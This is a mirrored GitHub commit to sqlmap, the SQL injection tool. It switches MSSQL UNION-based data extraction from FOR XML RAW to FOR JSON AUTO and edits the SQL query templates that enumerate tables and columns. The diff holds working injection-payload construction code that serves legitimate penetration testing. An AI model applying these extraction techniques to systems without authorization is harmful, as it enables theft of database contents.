Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 0ff3b1c

Browse files
stamparmstamparm
committed
Implemented FOR JSON AUTO in MsSQL
1 parent 7e483ff commit 0ff3b1c

5 files changed

Lines changed: 23 additions & 63 deletions

File tree

‎data/xml/queries.xml‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -198,11 +198,11 @@
198198
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
199199
</dbs>
200200
<tables>
201-
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
201+
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS table_name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
202202
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
203203
</tables>
204204
<columns>
205-
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
205+
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
206206
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
207207
</columns>
208208
<dump_table>

‎lib/core/option.py‎

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2113,7 +2113,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
21132113
kb.responseTimeMode = None
21142114
kb.responseTimePayload = None
21152115
kb.resumeValues = True
2116-
kb.rowXmlMode = False
21172116
kb.safeCharEncode = False
21182117
kb.safeReq = AttribDict()
21192118
kb.secondReq = None

‎lib/core/settings.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
from thirdparty.six import unichr as _unichr
1919

2020
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
21-
VERSION = "1.4.10.25"
21+
VERSION = "1.4.10.26"
2222
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2323
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2424
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

‎lib/techniques/union/use.py‎

Lines changed: 20 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
7575
if retVal is None:
7676
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
7777

78-
if not any((kb.rowXmlMode, kb.jsonAggMode)):
78+
if not kb.jsonAggMode:
7979
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
8080
kb.unionDuplicates = vector[7]
8181
kb.forcePartialUnion = vector[8]
@@ -100,49 +100,26 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
100100

101101
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
102102

103-
if kb.rowXmlMode:
104-
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page or "")
105-
if output:
106-
try:
107-
root = xml.etree.ElementTree.fromstring(safeStringFormat("<root>%s</root>", getBytes(output)))
108-
retVal = ""
109-
for column in kb.dumpColumns:
110-
base64 = True
111-
for child in root:
112-
value = child.attrib.get(column, "").strip()
113-
if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
114-
base64 = False
115-
break
116-
117-
try:
118-
decodeBase64(value)
119-
except (binascii.Error, TypeError):
120-
base64 = False
121-
break
122-
123-
if base64:
124-
for child in root:
125-
child.attrib[column] = decodeBase64(child.attrib.get(column, ""), binary=False) or NULL
126-
127-
for child in root:
128-
row = []
129-
for column in kb.dumpColumns:
130-
row.append(child.attrib.get(column, NULL))
131-
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
132-
133-
except:
134-
pass
135-
else:
136-
retVal = getUnicode(retVal)
137-
elif kb.jsonAggMode:
138-
if Backend.isDbms(DBMS.PGSQL):
103+
if kb.jsonAggMode:
104+
if Backend.isDbms(DBMS.MSSQL):
105+
output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), page or "")
106+
if output:
107+
try:
108+
retVal = ""
109+
fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output))
110+
for row in json.loads(output):
111+
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
112+
except:
113+
pass
114+
else:
115+
retVal = getUnicode(retVal)
116+
elif Backend.isDbms(DBMS.PGSQL):
139117
output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), page or "")
140118
if output:
141119
retVal = output
142120
else:
143-
output = extractRegexResult(r"(?P<result>%s.*?%s)" % (kb.chars.start, kb.chars.stop), page or "")
121+
output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), page or "")
144122
if output:
145-
output = output[len(kb.chars.start):-len(kb.chars.stop)]
146123
try:
147124
retVal = ""
148125
for row in json.loads(output):
@@ -177,7 +154,7 @@ def _(regex):
177154

178155
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
179156

180-
elif not any((kb.rowXmlMode, kb.jsonAggMode)):
157+
elif not kb.jsonAggMode:
181158
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
182159

183160
if trimmed:
@@ -261,7 +238,7 @@ def unionUse(expression, unpack=True, dump=False):
261238
debugMsg += "it does not play well with UNION query SQL injection"
262239
singleTimeDebugMessage(debugMsg)
263240

264-
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL) and expressionFields:
241+
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL) and expressionFields:
265242
match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
266243
if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression):
267244
kb.jsonAggMode = True
@@ -271,15 +248,11 @@ def unionUse(expression, unpack=True, dump=False):
271248
query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
272249
elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
273250
query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
251+
elif Backend.isDbms(DBMS.MSSQL):
252+
query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
274253
output = _oneShotUnionUse(query, False)
275254
value = parseUnionPage(output)
276255
kb.jsonAggMode = False
277-
elif Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
278-
kb.rowXmlMode = True
279-
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
280-
output = _oneShotUnionUse(_, False)
281-
value = parseUnionPage(output)
282-
kb.rowXmlMode = False
283256

284257
# We have to check if the SQL query might return multiple entries
285258
# if the technique is partial UNION query and in such case forge the

‎plugins/generic/databases.py‎

Lines changed: 0 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -639,18 +639,6 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod
639639
logger.info(infoMsg)
640640

641641
values = None
642-
if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
643-
expression = query
644-
kb.dumpColumns = []
645-
kb.rowXmlMode = True
646-
647-
for column in (extractRegexResult(r"SELECT (?P<result>.+?) FROM", query) or "").split(','):
648-
kb.dumpColumns.append(randomStr().lower())
649-
expression = expression.replace(column, "%s AS %s" % (column, kb.dumpColumns[-1]), 1)
650-
651-
values = unionUse(expression)
652-
kb.rowXmlMode = False
653-
kb.dumpColumns = None
654642

655643
if values is None:
656644
values = inject.getValue(query, blind=False, time=False)

0 commit comments

Comments
 (0)